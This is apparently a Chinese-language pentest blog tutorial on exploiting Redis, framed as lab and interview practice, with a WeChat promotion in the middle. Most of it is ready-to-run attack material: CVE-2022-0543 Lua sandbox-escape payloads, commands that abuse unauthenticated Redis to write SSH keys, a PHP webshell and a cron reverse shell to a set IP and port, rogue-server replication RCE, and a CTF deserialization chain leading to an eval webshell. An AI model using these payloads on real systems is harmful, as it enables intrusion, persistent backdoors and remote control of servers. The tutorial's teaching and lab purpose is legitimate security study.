Redis
0x01 redis學習
在滲透測試面試或者網絡安全面試中可能會常問redis未授權等一些知識,那麼什麼是redis?redis就是個數據庫,常見端口爲6379,常見漏洞爲未授權訪問。
0x02 環境搭建
這裏可以自己搭建一個redis環境,也可以用vulfocus搭建一個環境,可以兩個都搭建,因爲一些攻擊手法,需要自己搭建的環境才能成功。
ubuntu 20.04+docker
docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus
建議vulfocus最好搭建在雲服務器上,本機搭建的有的環境可能會復現不成功。
0x03漏洞復現
Redis Lua沙盒繞過 命令執行 CVE-2022-0543
該漏洞的存在是因爲Debian/Ubuntu中的Lua庫是作爲動態庫提供的。自動填充了一個package變量,該變量又允許訪問任意Lua功能。我們藉助Lua沙箱中遺留的變量package的loadlib函數來加載動態鏈接庫/usr/lib/x86_64-linux-gnu/liblua5.1.so.0裏的導出函數luaopen_io。在Lua中執行這個導出函數,即可獲得io庫,再使用其執行命令
該漏洞的存在是因爲Debian/Ubuntu中的Lua庫是作爲動態庫提供的。自動填充了一個package變量,該變量又允許訪問任意Lua 功能
我們藉助Lua沙箱中遺留的變量package的loadlib函數來加載動態鏈接庫/usr/lib/x86_64-linux-gnu/liblua5.1.so.0裏的導出函數luaopen_io。在Lua中執行這個導出函數,即可獲得io庫,再使用其執行命令
代碼如下
local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
payload如下
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0
漏洞復現
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0
這裏可以用another redis 這個個管理工具,方便redis數據庫使用
eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0
未授權訪問redis 未授權訪問 (CNVD-2015-07557)
這個未授權訪問存在很多,而且面試也很常問,實戰也能遇見到。
攻擊姿勢常見有三種,1寫入公鑰,2寫入webshell,3寫入計劃任務,當然其中有不少細節,我們需要去掌握。
【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
1.linux寫入公鑰
利用前提 Redis服務使用ROOT賬號啓動,安全模式protected-mode處於關閉狀態
允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txt
cat key.txt | redis-cli -h 目標IP -x set xxx
這裏權限不夠,這個是vulfocus有問題
滿足條件的話可以直接這樣,可以自己搭建一個redis環境做實驗
具體搭建可參考
https://blog.csdn.net/qq_41210745/article/details/103305262
yes要改成no
環境啓動,接着
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目標IP
已經成功寫入
進入該ubuntu查看 cd /root/.ssh/
嘗試SSH連接
ssh -i id_rsa [email protected]
可以看到成功拿下
2.寫入webshell
前提條件,有可寫權限,存在web服務,知道web路徑
繼續用該環境下嘗試webshell寫入
命令如下
FLUSHALL 使用這個清空之前的配置
前提條件,web目錄可以讀寫
config set dir /tmp 設置WEB寫入目錄
config set dbfilename test.php 設置寫入文件名
set test "<?php phpinfo();?>" 設置寫入文件代碼
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
換行防止執行失敗
bgsave 保存執行
save
chmod -R 777 /var/www/html/
這裏設置html嘗試寫入webshell
3.寫計劃任務反彈shell
FLUSHALL 記得清空配置
利用條件:Redis服務使用ROOT賬號啓動,安全模式protected-mode處於關閉狀態
環境依然是上面的配置環境
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"
config set dbfilename x
save
set yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"
注意:
centos會忽略亂碼去執行格式正確的任務計劃
而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗
可以看到有亂碼,ubuntu並未正常執行
主從複製利用
https://github.com/n0b0dyCN/redis-rogue-server 得到的是一個交互式的shell
https://github.com/vulhub/redis-rogue-getshell 這個可以直接命令執行
redis-rogue-serve
python redis-rogue-server.py --rhost 目標IP --rport 目標端口 --lhost
IP
python3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132
這裏記得要編譯
cd RedisModulesSDK/
make
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"
python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"
實際情況中我們可以靈活運用exp.so文件,不一定非得用腳本,比如這種情況
天翼杯
考點反序列化,redis主從複製RCE代碼
<?php
class a{
public $code = "";
function __call($method,$args){
eval($this->code);
}
// function __wakeup(){
// $this->code = "";
// }
}
class b{
function __destruct(){
echo $this->a->a();
}
}
$a=new A();
$b=new B();
$a->code="phpinfo();";
$b->a=$a;
echo
serialize($b);
構造POP鏈子,可以看到call魔術方法裏面有eval函數,那麼需要構造鏈子觸發到call魔術方法。
call():當調用對象中不存在的方法會自動調用該方法wakeup()當使用unserialize()反序列化一個對象後,會自動調用該對象的__wakeup方法
這裏destruct方法調用了一個不存在的a方法,那麼會調用到call方法
因爲wakeup方法中$this->code ="";還有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);這裏有過濾,所以接下來要做到繞過wakeup和正則,這裏利用wakeup的CVE和php對類名大小寫不敏感的特性去繞過,A,B換成a,b,其中wakeup漏洞原理:在類對象屬性個數超過實際個數時就會不執行wakeup函數。
如下O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}繞過wakeupO:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
這裏無法執行system("ls")
蟻劍連接$a->code="eval($_POST["a"]);";
打開之後發現其泄露了redis的密碼define("REDIS_PASS","you_cannot_guess_it");蟻劍插件連接上
使用EXP.so文件
MODULE LOAD /var/www/html/exp.so
然後就可以進行命令執行了
若有收穫,就點個贊吧。
更多網安技能的在線實操練習,請點擊這裏>>